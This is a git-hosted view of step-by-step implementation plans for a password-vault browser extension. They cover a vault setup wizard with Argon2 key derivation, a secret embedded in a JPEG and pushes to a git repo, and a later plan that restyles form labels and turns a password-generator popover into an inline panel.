pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsValue> {
let secret: [u8; 32] = secret
.try_into()
.map_err(|_| JsValue::from_str("secret must be exactly 32 bytes"))?;
relicario_core::imgsecret::embed(carrier_jpeg, &secret)
.map_err(|e| JsValue::from_str(&e.to_string()))
}
```
- [ ] **Step 5: Run test to verify it passes**
Run: `cargo test -p relicario-wasm embed_then_extract`
Expected: PASS
- [ ] **Step 6: Rebuild WASM**
Run: `wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm`
Expected: Builds successfully.
- [ ] **Step 7: Commit**
```bash
git add crates/relicario-wasm/src/lib.rs crates/relicario-wasm/Cargo.toml
git commit -m "feat: add embed_image_secret to WASM crate"
```
---
## Task 2: Add WASM Type Declaration for New Function
**Files:**
- Modify: `extension/src/wasm.d.ts`
- [ ] **Step 1: Add the type declaration**
Add to `extension/src/wasm.d.ts` alongside the existing declarations:
```typescript
export function embed_image_secret(carrier_jpeg: Uint8Array, secret: Uint8Array): Uint8Array;
```
- [ ] **Step 2: Commit**
```bash
git add extension/src/wasm.d.ts
git commit -m "feat: add embed_image_secret type declaration"
```
---
## Task 3: Create Setup Page HTML
**Files:**
- Create: `extension/setup.html`
- [ ] **Step 1: Create the HTML file**
Create `extension/setup.html`:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>relicario — vault setup</title>
<link rel="stylesheet" href="styles.css">
<style>
/* Override popup constraints for full-page layout */
body {
width: auto;
min-height: 100vh;
max-height: none;
overflow-y: auto;
display: flex;
justify-content: center;
padding: 40px 20px;
}
#app {
max-width: 560px;
width: 100%;
}
.step-instructions {
background: #161b22;
border: 1px solid #30363d;
border-radius: 4px;
padding: 16px;
margin: 12px 0;
font-size: 12px;
line-height: 1.8;
}
.step-instructions ol {
padding-left: 20px;
}
.step-instructions li {
margin-bottom: 4px;
}
.step-instructions code {
background: #0d1117;
padding: 1px 4px;
border-radius: 2px;
color: #58a6ff;
}
.image-preview {
max-width: 200px;
max-height: 150px;
border: 1px solid #30363d;
border-radius: 2px;
margin-top: 8px;
}
.strength-bar {
height: 3px;
background: #21262d;
margin-top: 4px;
border-radius: 2px;
}
.strength-bar-fill {
height: 3px;
border-radius: 2px;
transition: width 0.3s, background 0.3s;
}
.success-box {
background: #0d1117;
border: 1px solid #3fb950;
border-radius: 4px;
padding: 16px;
margin: 12px 0;
}
.config-blob {
background: #161b22;
border: 1px solid #30363d;
border-radius: 4px;
padding: 12px;
font-size: 11px;
word-break: break-all;
margin-top: 8px;
cursor: pointer;
}
.config-blob:hover {
border-color: #58a6ff;
}
.test-result {
display: inline-flex;
align-items: center;
gap: 6px;
margin-top: 6px;
font-size: 11px;
}
.test-ok { color: #3fb950; }
.test-fail { color: #f85149; }
</style>
</head>
<body>
<div id="app"></div>
<script src="setup.js"></script>
</body>
</html>
```
- [ ] **Step 2: Commit**
```bash
git add extension/setup.html
git commit -m "feat: add setup wizard HTML page"
```
---
## Task 4: Create Setup Wizard TypeScript
**Files:**
- Create: `extension/src/setup/setup.ts`
This is the main task. The wizard is a 4-step state machine that reuses the existing git API layer and WASM module.
- [ ] **Step 1: Create the setup wizard**
Create `extension/src/setup/setup.ts`:
```typescript
/// Standalone vault initialization wizard.
///
/// 4-step flow:
/// 1. Choose git host (Gitea/GitHub) with setup instructions
/// 2. Configure connection (URL, repo, token) with test button
/// 3. Create vault (carrier image, passphrase, generate + push)
/// 4. Finish (download reference image, push config to extension)
import { createGitHost, uint8ArrayToBase64, base64ToUint8Array } from '../service-worker/git-host';
import type { GitHost } from '../service-worker/git-host';
import type { VaultConfig } from '../shared/types';
// --- State ---
interface WizardState {
step: number;
hostType: 'gitea' | 'github';
hostUrl: string;
repoPath: string;
apiToken: string;
connectionTested: boolean;
carrierImageBytes: Uint8Array | null;
carrierImageName: string;
passphrase: string;
passphraseConfirm: string;
referenceImageBytes: Uint8Array | null;
creating: boolean;
error: string;
extensionDetected: boolean;
configPushed: boolean;
}
let state: WizardState = {
step: 1,
hostType: 'gitea',
hostUrl: '',
repoPath: '',
apiToken: '',
connectionTested: false,
carrierImageBytes: null,
carrierImageName: '',
passphrase: '',
passphraseConfirm: '',
referenceImageBytes: null,
creating: false,
error: '',
extensionDetected: false,
configPushed: false,
};
// --- WASM ---
type WasmModule = typeof import('relicario-wasm');
let wasm: WasmModule | null = null;
async function initWasm(): Promise<WasmModule> {
if (wasm) return wasm;
const mod = await import(/* webpackIgnore: true */ '../relicario_wasm.js');
await mod.default();
wasm = mod;
return mod;
}
// --- Helpers ---
function escapeHtml(s: string): string {
const div = document.createElement('div');
div.textContent = s;
return div.innerHTML;
}
function passwordStrength(pw: string): { label: string; color: string; pct: number } {
if (pw.length < 8) return { label: 'too short', color: '#f85149', pct: 10 };
let score = 0;
if (pw.length >= 12) score++;
if (pw.length >= 16) score++;
if (/[a-z]/.test(pw) && /[A-Z]/.test(pw)) score++;
if (/[0-9]/.test(pw)) score++;
if (/[^a-zA-Z0-9]/.test(pw)) score++;
if (score <= 1) return { label: 'weak', color: '#f85149', pct: 30 };
if (score <= 3) return { label: 'ok', color: '#d29922', pct: 60 };
return { label: 'strong', color: '#3fb950', pct: 100 };
}
// --- Render ---
function render(): void {
const app = document.getElementById('app')!;
const stepNames = ['git host', 'connection', 'create vault', 'done'];
let html = `
<div class="brand" style="font-size:18px;margin-bottom:4px">relicario setup</div>
<div class="wizard-step">step ${state.step} of 4 — ${stepNames[state.step - 1]}</div>
<div class="progress-bar"><div class="progress-bar-fill" style="width:${(state.step / 4) * 100}%"></div></div>
`;
if (state.error) {
html += `<div class="error" style="margin-bottom:12px">${escapeHtml(state.error)}</div>`;
}
switch (state.step) {
case 1: html += renderStep1(); break;
case 2: html += renderStep2(); break;
case 3: html += renderStep3(); break;
case 4: html += renderStep4(); break;
}
app.innerHTML = html;
attachListeners();
}
// --- Step 1: Choose Git Host ---
function renderStep1(): string {
return `
<div class="form-group" style="margin-top:16px">
<div class="label">HOST TYPE</div>
<div class="host-toggle" style="display:flex;gap:8px;margin-top:4px">
<button class="group-tab ${state.hostType === 'gitea' ? 'active' : ''}" data-action="host" data-host="gitea">gitea</button>
<button class="group-tab ${state.hostType === 'github' ? 'active' : ''}" data-action="host" data-host="github">github</button>
</div>
</div>
<div class="step-instructions">
${state.hostType === 'gitea' ? `
<div class="label" style="margin-bottom:8px">GITEA SETUP</div>
<ol>
<li>Log in to your Gitea instance</li>
<li>Click <code>+</code> → <code>New Repository</code></li>
<li>Name it (e.g. <code>relicario-vault</code>), leave it <strong>empty</strong> — no README, no .gitignore</li>
<li>Go to <code>Settings</code> → <code>Applications</code> → <code>Manage Access Tokens</code></li>
<li>Generate a new token with <code>repo</code> scope (read/write)</li>
<li>Copy the token — you'll need it in the next step</li>
</ol>
` : `
<div class="label" style="margin-bottom:8px">GITHUB SETUP</div>
<ol>
<li>Go to <strong>github.com</strong> → <code>New Repository</code></li>
<li>Name it (e.g. <code>relicario-vault</code>), set to <strong>Private</strong>, leave it <strong>empty</strong> — no README, no .gitignore, no license</li>
<li>Go to <code>Settings</code> → <code>Developer Settings</code> → <code>Personal Access Tokens</code> → <code>Fine-grained tokens</code></li>
<li>Click <code>Generate new token</code></li>
<li>Select <strong>only</strong> the vault repository under "Repository access"</li>
<li>Under Permissions → Repository → <code>Contents</code>: set to <strong>Read and write</strong></li>
<li>Generate and copy the token</li>
</ol>
`}
</div>
<div class="actions">
<button class="btn btn-primary" data-action="next">Next →</button>
</div>
`;
}
// --- Step 2: Configure Connection ---
function renderStep2(): string {
const defaultUrl = state.hostType === 'github' ? 'https://github.com' : '';
return `
<div class="form-group" style="margin-top:16px">
<div class="label">HOST URL</div>
<input type="text" id="host-url" value="${escapeHtml(state.hostUrl || defaultUrl)}" placeholder="${state.hostType === 'gitea' ? 'https://git.example.com' : 'https://github.com'}">
</div>
<div class="form-group">
<div class="label">REPO PATH</div>
<input type="text" id="repo-path" value="${escapeHtml(state.repoPath)}" placeholder="owner/repo-name">
</div>
<div class="form-group">
<div class="label">API TOKEN</div>
<input type="password" id="api-token" value="${escapeHtml(state.apiToken)}" placeholder="Paste your token">
</div>
<div id="test-result"></div>
<div class="actions">
<button class="btn" data-action="back">← Back</button>
<button class="btn" data-action="test-connection">Test Connection</button>
<button class="btn btn-primary" data-action="next" ${!state.connectionTested ? 'disabled' : ''}>Next →</button>
</div>
`;
}
// --- Step 3: Create Vault ---
function renderStep3(): string {
const strength = state.passphrase ? passwordStrength(state.passphrase) : null;
const mismatch = state.passphraseConfirm && state.passphrase !== state.passphraseConfirm;
return `
<div class="form-group" style="margin-top:16px">
<div class="label">CARRIER IMAGE</div>
<p class="secondary" style="font-size:11px;margin-bottom:8px">
Pick any JPEG photo. A phone photo works great — at least 400x300 pixels.
</p>
<input type="file" id="carrier-image" accept="image/jpeg" style="font-size:11px">
${state.carrierImageName ? `<div class="secondary" style="margin-top:4px;font-size:11px">✓ ${escapeHtml(state.carrierImageName)}</div>` : ''}
</div>
<div class="form-group">
<div class="label">PASSPHRASE</div>
<input type="password" id="passphrase" value="${escapeHtml(state.passphrase)}" placeholder="Min 8 characters">
${strength ? `
<div class="strength-bar"><div class="strength-bar-fill" style="width:${strength.pct}%;background:${strength.color}"></div></div>
<div style="font-size:10px;color:${strength.color};margin-top:2px">${strength.label}</div>
` : ''}
</div>
<div class="form-group">
<div class="label">CONFIRM PASSPHRASE</div>
<input type="password" id="passphrase-confirm" value="${escapeHtml(state.passphraseConfirm)}" placeholder="Type it again">
${mismatch ? '<div class="error" style="margin-top:2px">Passphrases do not match</div>' : ''}
</div>
<div class="actions">
<button class="btn" data-action="back">← Back</button>
<button class="btn btn-primary" data-action="create-vault" ${state.creating ? 'disabled' : ''}>
${state.creating ? '<span class="spinner"></span> Creating...' : 'Create Vault'}
</button>
</div>
`;
}
// --- Step 4: Finish ---
function renderStep4(): string {
return `
<div class="success-box" style="margin-top:16px">
<div style="color:#3fb950;font-size:14px;margin-bottom:8px">✓ Vault created</div>
<p class="secondary" style="font-size:12px">
Your vault has been pushed to <strong>${escapeHtml(state.repoPath)}</strong>.
</p>
</div>
<div class="form-group">
<div class="label">REFERENCE IMAGE</div>
<p class="secondary" style="font-size:11px;margin-bottom:8px">
Download this image and keep it safe. You need it alongside your passphrase to unlock the vault.
Store it somewhere you won't lose it — a USB drive, a safe, your phone's photo library.
</p>
<button class="btn btn-primary" data-action="download-image">Download reference.jpg</button>
</div>
${state.extensionDetected ? `
<div class="form-group" style="margin-top:16px">
<div class="label">EXTENSION</div>
${state.configPushed ? `
<p class="secondary" style="font-size:11px;color:#3fb950">
✓ Extension configured. Open the extension popup and enter your passphrase to unlock.
</p>
` : `
<p class="secondary" style="font-size:11px;margin-bottom:8px">
relicario extension detected. Push your vault config to it?
</p>
<button class="btn" data-action="push-to-extension">Configure Extension</button>
`}
</div>
` : `
<div class="form-group" style="margin-top:16px">
<div class="label">EXTENSION SETUP</div>
<p class="secondary" style="font-size:11px;margin-bottom:8px">
Install the relicario extension, then enter these details in the setup wizard:
</p>
<div class="config-blob" data-action="copy-config" title="Click to copy">
${escapeHtml(JSON.stringify({
hostType: state.hostType,
hostUrl: state.hostUrl,
repoPath: state.repoPath,
apiToken: state.apiToken,
}, null, 2))}
</div>
<div class="secondary" style="font-size:10px;margin-top:4px">Click to copy</div>
</div>
`}
`;
}
// --- Event Listeners ---
function attachListeners(): void {
// Host type toggle
document.querySelectorAll('[data-action="host"]').forEach(btn => {
btn.addEventListener('click', () => {
state.hostType = (btn as HTMLElement).dataset.host as 'gitea' | 'github';
state.connectionTested = false;
render();
});
});
// Navigation
document.querySelectorAll('[data-action="next"]').forEach(btn => {
btn.addEventListener('click', () => {
readInputs();
state.error = '';
state.step++;
render();
});
});
document.querySelectorAll('[data-action="back"]').forEach(btn => {
btn.addEventListener('click', () => {
readInputs();
state.error = '';
state.step--;
render();
});
});
// Test connection
document.querySelector('[data-action="test-connection"]')?.addEventListener('click', async () => {
readInputs();
state.error = '';
if (!state.hostUrl || !state.repoPath || !state.apiToken) {
state.error = 'All fields are required';
render();
return;
}
const resultEl = document.getElementById('test-result')!;
resultEl.innerHTML = '<div class="test-result"><span class="spinner"></span> Testing...</div>';
try {
const git = createGitHost(state.hostType, state.hostUrl, state.repoPath, state.apiToken);
// Try to list the root directory — if the repo exists and token works, this succeeds
await git.listDir('');
state.connectionTested = true;
resultEl.innerHTML = '<div class="test-result test-ok">✓ Connected</div>';
// Re-render to enable Next button
const nextBtn = document.querySelector('[data-action="next"]') as HTMLButtonElement;
if (nextBtn) nextBtn.disabled = false;
} catch (err) {
state.connectionTested = false;
resultEl.innerHTML = `<div class="test-result test-fail">✗ ${escapeHtml(String(err))}</div>`;
}
});
// Carrier image file picker
document.getElementById('carrier-image')?.addEventListener('change', (e) => {
const input = e.target as HTMLInputElement;
const file = input.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = () => {
const arrayBuf = reader.result as ArrayBuffer;
state.carrierImageBytes = new Uint8Array(arrayBuf);
state.carrierImageName = file.name;
render();
};
reader.readAsArrayBuffer(file);
});
// Passphrase inputs (read on change, re-render for strength indicator)
document.getElementById('passphrase')?.addEventListener('input', (e) => {
state.passphrase = (e.target as HTMLInputElement).value;
// Only re-render the strength indicator, not the whole page (avoids losing focus)
const strength = passwordStrength(state.passphrase);
const bar = document.querySelector('.strength-bar-fill') as HTMLElement;
if (bar) {
bar.style.width = `${strength.pct}%`;
bar.style.background = strength.color;
}
const label = bar?.parentElement?.nextElementSibling as HTMLElement;
if (label) {
label.textContent = strength.label;
label.style.color = strength.color;
}
});
document.getElementById('passphrase-confirm')?.addEventListener('input', (e) => {
state.passphraseConfirm = (e.target as HTMLInputElement).value;
});
// Create vault
document.querySelector('[data-action="create-vault"]')?.addEventListener('click', async () => {
readInputs();
state.error = '';
// Validation
if (!state.carrierImageBytes) {
state.error = 'Select a carrier image';
render();
return;
}
if (state.passphrase.length < 8) {
state.error = 'Passphrase must be at least 8 characters';
render();
return;
}
if (state.passphrase !== state.passphraseConfirm) {
state.error = 'Passphrases do not match';
render();
return;
}
state.creating = true;
render();
try {
await createVault();
state.creating = false;
// Detect extension
state.extensionDetected = await detectExtension();
state.step = 4;
render();
} catch (err) {
state.creating = false;
state.error = `Vault creation failed: ${String(err)}`;
render();
}
});
// Download reference image
document.querySelector('[data-action="download-image"]')?.addEventListener('click', () => {
if (!state.referenceImageBytes) return;
const blob = new Blob([state.referenceImageBytes], { type: 'image/jpeg' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'reference.jpg';
a.click();
URL.revokeObjectURL(url);
});
// Push config to extension
document.querySelector('[data-action="push-to-extension"]')?.addEventListener('click', async () => {
try {
const config: VaultConfig = {
hostType: state.hostType,
hostUrl: state.hostUrl,
repoPath: state.repoPath,
apiToken: state.apiToken,
};
const imageBase64 = uint8ArrayToBase64(state.referenceImageBytes!);
chrome.runtime.sendMessage(
{ type: 'save_setup', config, imageBase64 },
(response) => {
if (response?.ok) {
state.configPushed = true;
render();
}
}
);
} catch {
state.error = 'Failed to push config to extension';
render();
}
});
// Copy config blob
document.querySelector('[data-action="copy-config"]')?.addEventListener('click', async () => {
const config = JSON.stringify({
hostType: state.hostType,
hostUrl: state.hostUrl,
repoPath: state.repoPath,
apiToken: state.apiToken,
}, null, 2);
await navigator.clipboard.writeText(config);
const el = document.querySelector('[data-action="copy-config"]')!;
el.classList.add('test-ok');
setTimeout(() => el.classList.remove('test-ok'), 1500);
});
}
// --- Read form inputs into state ---
function readInputs(): void {
const hostUrl = document.getElementById('host-url') as HTMLInputElement;
const repoPath = document.getElementById('repo-path') as HTMLInputElement;
const apiToken = document.getElementById('api-token') as HTMLInputElement;
const passphrase = document.getElementById('passphrase') as HTMLInputElement;
const passphraseConfirm = document.getElementById('passphrase-confirm') as HTMLInputElement;
if (hostUrl) state.hostUrl = hostUrl.value.trim();
if (repoPath) state.repoPath = repoPath.value.trim();
if (apiToken) state.apiToken = apiToken.value.trim();
if (passphrase) state.passphrase = passphrase.value;
if (passphraseConfirm) state.passphraseConfirm = passphraseConfirm.value;
}
// --- Vault Creation ---
async function createVault(): Promise<void> {
const w = await initWasm();
const git = createGitHost(state.hostType, state.hostUrl, state.repoPath, state.apiToken);
// 1. Generate random 32-byte image_secret
const imageSecret = new Uint8Array(32);
crypto.getRandomValues(imageSecret);
// 2. Embed secret into carrier JPEG
const referenceJpeg = w.embed_image_secret(state.carrierImageBytes!, imageSecret);
state.referenceImageBytes = new Uint8Array(referenceJpeg);
// 3. Generate random 32-byte salt
const salt = new Uint8Array(32);
crypto.getRandomValues(salt);
// 4. Create KDF params
const params = { argon2_m: 65536, argon2_t: 3, argon2_p: 4 };
const paramsJson = JSON.stringify(params);
// 5. Derive master_key
const masterKey = w.derive_master_key(state.passphrase, imageSecret, salt, paramsJson);
// 6. Encrypt empty manifest
const emptyManifest = JSON.stringify({ entries: {}, version: 1 });
const manifestEnc = w.encrypt_manifest(emptyManifest, masterKey);
// 7. Push vault files to repo
await git.writeFile('.relicario/salt', salt, 'feat: initialize relicario vault');
await git.writeFile('.relicario/params.json', new TextEncoder().encode(paramsJson), 'chore: add KDF params');
await git.writeFile('.relicario/devices.json', new TextEncoder().encode('[]'), 'chore: add empty devices list');
await git.writeFile('manifest.enc', new Uint8Array(manifestEnc), 'feat: add encrypted manifest');
}
// --- Extension Detection ---
function detectExtension(): Promise<boolean> {
return new Promise((resolve) => {
try {
if (typeof chrome === 'undefined' || !chrome.runtime?.sendMessage) {
resolve(false);
return;
}
chrome.runtime.sendMessage(
{ type: 'get_setup_state' },
(response) => {
if (chrome.runtime.lastError || !response) {
resolve(false);
} else {
resolve(true);
}
}
);
} catch {
resolve(false);
}
});
}
// --- Init ---
document.addEventListener('DOMContentLoaded', render);
```
- [ ] **Step 2: Commit**
```bash
git add extension/src/setup/setup.ts
git commit -m "feat: add vault initialization wizard"
```
---
## Task 5: Update Webpack and Manifest
**Files:**
- Modify: `extension/webpack.config.js`
- Modify: `extension/manifest.json`
- [ ] **Step 1: Add setup entry point to webpack**
In `extension/webpack.config.js`, add `setup` to the `entry` object:
```javascript
entry: {
'service-worker': './src/service-worker/index.ts',
popup: './src/popup/popup.ts',
content: './src/content/detector.ts',
setup: './src/setup/setup.ts',
},
```
Add `setup.html` to the CopyPlugin patterns array:
```javascript
{ from: 'setup.html', to: '.' },
```
- [ ] **Step 2: Add web_accessible_resources to manifest.json**
Add to `extension/manifest.json`, after the `content_security_policy` block:
```json
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
"matches": ["<all_urls>"]
}]
```
- [ ] **Step 3: Build and verify**
```bash
cd extension && bun run build
```
Expected: Builds successfully with `dist/setup.js` and `dist/setup.html` in the output.
- [ ] **Step 4: Commit**
```bash
git add extension/webpack.config.js extension/manifest.json
git commit -m "feat: add setup wizard to webpack build and extension manifest"
```
---
## Task 6: Build and Manual Test
**Files:** None (integration testing)
- [ ] **Step 1: Rebuild WASM**
```bash
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
```
- [ ] **Step 2: Rebuild extension**
```bash
cd extension && bun run build
```
- [ ] **Step 3: Run Rust tests**
```bash
cargo test
```
Expected: All tests pass (including the new `embed_then_extract_round_trip`).
- [ ] **Step 4: Load in Chrome and test**
1. Open `chrome://extensions/`, reload the unpacked extension from `extension/dist/`
2. Open `chrome-extension://<extension-id>/setup.html`
3. Verify:
- Step 1: host toggle switches between Gitea/GitHub instructions
- Step 2: enter real host/token/repo, test connection works
- Step 3: pick a JPEG, enter passphrase, create vault pushes files
- Step 4: download reference image works, extension detection works
4. Verify the vault repo now has `.relicario/salt`, `.relicario/params.json`, `.relicario/devices.json`, `manifest.enc`
5. Open extension popup, unlock with passphrase — should work with the just-created vault
- [ ] **Step 5: Fix any issues found**
- [ ] **Step 6: Final commit**
```bash
git add -A
git commit -m "feat: complete vault initialization wizard"
```
---
## Task Summary
| Task | Description | Dependencies |
|------|-------------|--------------|
| 1 | Add `embed_image_secret` to WASM crate | None |
| 2 | Add WASM type declaration | Task 1 |
| 3 | Create setup page HTML | None |
| 4 | Create setup wizard TypeScript | Task 2, 3 |
| 5 | Update webpack and manifest | Task 3, 4 |
| 6 | Build and manual test | All |
Tasks 1 and 3 can run in parallel. Tasks 2 and 4 are sequential after 1. Task 5 depends on 3+4. Task 6 is final integration.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,908 @@
# Generator UX Redesign Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Replace the right-anchored popover (which clips off the popup edge) with an inline panel injected into the form below the password row. Trigger becomes ✨; lowercase form labels with a gold required-marker.
**Architecture:** The popover module gets renamed (`generator-popover.ts``generator-panel.ts`) and rewritten: same knob → message logic, but DOM mounts inside a passed parent element instead of `document.body`, and the action row varies by context (`fill-field` for the login form's password input, `configure-defaults` for the vault settings screen). Label polish is a single CSS rule update plus an `<span class="req">` wrap around the `*` markers in 6 type forms.
**Tech Stack:** TypeScript, vitest, webpack, plain CSS (no preprocessor).
**Spec:** `docs/superpowers/specs/2026-04-24-relicario-gen-ux-redesign-design.md` (commit `9add305`).
---
## Task 1: Label polish — lowercase + gold required marker
**Files:**
- Modify: `extension/src/popup/styles.css` (the `.label` rule + add `.req` rule)
- Modify: `extension/src/popup/components/types/login.ts` (1 markup change at line ~234)
- Modify: `extension/src/popup/components/types/identity.ts` (1 markup change at line ~129)
- Modify: `extension/src/popup/components/types/card.ts` (1 markup change at line ~169)
- Modify: `extension/src/popup/components/types/key.ts` (2 markup changes at lines ~118, ~120)
- Modify: `extension/src/popup/components/types/totp.ts` (2 markup changes at lines ~208, ~217)
- Modify: `extension/src/popup/components/types/secure-note.ts` (1 markup change at line ~107)
Working dir: `/home/alee/Sources/relicario`. Branch: main. Do NOT push.
- [ ] **Step 1: Update the `.label` rule**
In `extension/src/popup/styles.css`, find the `.label {` block (around line 36-45) and change `text-transform`, `letter-spacing`, and `font-weight`:
Old:
```css
.label {
font-size: 11px;
font-weight: 600;
color: #8b949e;
text-transform: uppercase;
letter-spacing: 0.5px;
margin-bottom: 4px;
}
```
New:
```css
.label {
font-size: 11px;
font-weight: 500;
color: #8b949e;
text-transform: lowercase;
letter-spacing: 0.02em;
margin-bottom: 4px;
}
```
- [ ] **Step 2: Add the `.req` rule for gold required-marker**
Append this rule directly after the `.label` rule (so it's adjacent and easy to find):
```css
.label .req {
color: #aa812a;
margin-left: 2px;
font-weight: 600;
}
```
- [ ] **Step 3: Update markup in all 6 type forms**
For each of the 7 occurrences of `title *</label>`, `key material *</label>`, `secret (base32) *</label>`, etc., replace the literal `*` with `<span class="req">*</span>`.
Run a sed sweep across the 6 type files (preserves all other content, swaps just the trailing `*</label>` pattern):
```bash
sed -i 's| \*</label>| <span class="req">*</span></label>|g' \
extension/src/popup/components/types/login.ts \
extension/src/popup/components/types/identity.ts \
extension/src/popup/components/types/card.ts \
extension/src/popup/components/types/key.ts \
extension/src/popup/components/types/totp.ts \
extension/src/popup/components/types/secure-note.ts
```
- [ ] **Step 4: Verify the swap landed in every expected file**
```bash
grep -rn '<span class="req">\*</span></label>' extension/src/popup/components/types/
```
Expected: 8 hits across 6 files (login×1, identity×1, card×1, key×2, totp×2, secure-note×1).
```bash
grep -rn ' \*</label>' extension/src/popup/components/types/
```
Expected: no output (every literal `*</label>` should now be wrapped).
- [ ] **Step 5: Run vitest**
```bash
cd extension && bun run test 2>&1 | tail -3
```
Expected: 124 passed (some test fixtures may render label HTML — verify they don't have hard-coded assertions on the literal `*` text or the `text-transform: uppercase` style. If any test fails on a label assertion, update the test to match the new markup).
- [ ] **Step 6: Type-check**
```bash
cd extension && bunx tsc --noEmit
```
Expected: zero errors.
- [ ] **Step 7: Commit**
```bash
cd /home/alee/Sources/relicario
git add extension/src/popup/styles.css \
extension/src/popup/components/types/login.ts \
extension/src/popup/components/types/identity.ts \
extension/src/popup/components/types/card.ts \
extension/src/popup/components/types/key.ts \
extension/src/popup/components/types/totp.ts \
extension/src/popup/components/types/secure-note.ts
git commit -m "$(cat <<'EOF'
feat(ext/popup): lowercase form labels + gold required marker
.label drops text-transform: uppercase and tightens letter-spacing.
The `*` required marker gets wrapped in <span class="req"> so it
picks up the gold accent color (matches palette refresh).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
EOF
)"
```
---
## Task 2: Rename module — `generator-popover` → `generator-panel`
**Files (rename via git-mv):**
- Rename: `extension/src/popup/components/generator-popover.ts``generator-panel.ts`
- Rename: `extension/src/popup/components/__tests__/generator-popover.test.ts``generator-panel.test.ts`
**Files modified (import path update only — function names stay the same in this task):**
- `extension/src/popup/components/types/login.ts` (line 17 import)
- `extension/src/popup/components/settings-vault.ts` (line 9 import)
Working dir: `/home/alee/Sources/relicario`. Branch: main. Do NOT push.
- [ ] **Step 1: git-mv source + test**
```bash
cd /home/alee/Sources/relicario
git mv extension/src/popup/components/generator-popover.ts \
extension/src/popup/components/generator-panel.ts
git mv extension/src/popup/components/__tests__/generator-popover.test.ts \
extension/src/popup/components/__tests__/generator-panel.test.ts
```
- [ ] **Step 2: Update the test file's import path**
Edit `extension/src/popup/components/__tests__/generator-panel.test.ts` line 8:
Old:
```ts
import { openGeneratorPopover, closeGeneratorPopover } from '../generator-popover';
```
New:
```ts
import { openGeneratorPopover, closeGeneratorPopover } from '../generator-panel';
```
(Only the path string changes; function names stay untouched in this task.)
- [ ] **Step 3: Update login.ts import path**
Edit `extension/src/popup/components/types/login.ts` line 17:
Old:
```ts
import { openGeneratorPopover, closeGeneratorPopover } from '../generator-popover';
```
New:
```ts
import { openGeneratorPopover, closeGeneratorPopover } from '../generator-panel';
```
- [ ] **Step 4: Update settings-vault.ts import path**
Edit `extension/src/popup/components/settings-vault.ts` line 9:
Old:
```ts
import { openGeneratorPopover } from './generator-popover';
```
New:
```ts
import { openGeneratorPopover } from './generator-panel';
```
- [ ] **Step 5: Verify no stale references to `generator-popover` exist**
```bash
grep -rn "generator-popover" extension/src/
```
Expected: no output (all imports updated).
- [ ] **Step 6: Run vitest**
```bash
cd extension && bun run test 2>&1 | tail -3
```
Expected: 124 passed (no behavioral change — just file rename).
- [ ] **Step 7: Type-check**
```bash
cd extension && bunx tsc --noEmit
```
Expected: zero errors.
- [ ] **Step 8: Commit**
```bash
cd /home/alee/Sources/relicario
git add extension/src/popup/components/generator-panel.ts \
extension/src/popup/components/generator-popover.ts \
extension/src/popup/components/__tests__/generator-panel.test.ts \
extension/src/popup/components/__tests__/generator-popover.test.ts \
extension/src/popup/components/types/login.ts \
extension/src/popup/components/settings-vault.ts
git commit -m "$(cat <<'EOF'
refactor(ext/popup): rename generator-popover module to generator-panel
Pure rename via git-mv (preserves history). Function names and behavior
unchanged. Sets up the API rewrite in the next commit.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
EOF
)"
```
---
## Task 3: Rewrite panel module + new CSS + caller updates + new tests
**Files:**
- Modify: `extension/src/popup/components/generator-panel.ts` (major rewrite — new API, inline mount, escape handler)
- Modify: `extension/src/popup/components/__tests__/generator-panel.test.ts` (function rename + parent mount + 3 new tests)
- Modify: `extension/src/popup/styles.css` (delete `.generator-popover` rules; add `.gen-trigger` + `.gen-panel` rules)
- Modify: `extension/src/popup/components/types/login.ts` (✨ trigger button + new openGeneratorPanel call with `context: 'fill-field'`)
- Modify: `extension/src/popup/components/settings-vault.ts` (✨ trigger button + new openGeneratorPanel call with `context: 'configure-defaults'`)
Working dir: `/home/alee/Sources/relicario`. Branch: main. Do NOT push.
This is the largest task. Steps walk through each file.
### Step 1: Rewrite `generator-panel.ts`
Read the current file first (Read tool) to understand the existing helper functions (`knobsFromRequest`, `requestFromKnobs`, `buildInnerHtml`, `wireInner`, `updateValidation`). KEEP those helpers AS-IS — they encode the knob→GeneratorRequest mapping which is correct. The rewrite only changes:
1. Function rename: `openGeneratorPopover``openGeneratorPanel`. Same for `closeGeneratorPopover``closeGeneratorPanel`.
2. New options interface (replaces `OpenPopoverOpts`):
```ts
export type GeneratorPanelContext = 'fill-field' | 'configure-defaults';
export interface OpenPanelOpts {
parent: HTMLElement; // mount target (form root or settings section)
trigger: HTMLElement; // ✨ button (aria-expanded gets toggled here)
initial: GeneratorRequest;
context: GeneratorPanelContext;
onPicked?: (value: string) => void; // required when context === 'fill-field'
}
```
3. The `host` div is appended to `opts.parent` instead of `document.body`. Drop the `position: absolute / top / left` styling — just `parent.appendChild(host)`.
4. The trigger gets `aria-expanded="true"` on open, `"false"` on close.
5. Escape key closes the panel. Add a `document.addEventListener('keydown', escHandler)` on open; remove on close. Handler:
```ts
const escHandler = (e: KeyboardEvent): void => {
if (e.key === 'Escape') closeGeneratorPanel();
};
```
6. Auto-generate on open: call `render()` then immediately `refreshPreview()` (the existing render does this already in the current popover — confirm it still does in the rewrite).
7. Action row varies by context. Two HTML branches:
- `context === 'fill-field'`: `<button class="save-link" id="gen-save-default">↑ save these as default</button> <button class="btn" id="gen-cancel">cancel</button> <button class="btn btn-primary" id="gen-use">use</button>`
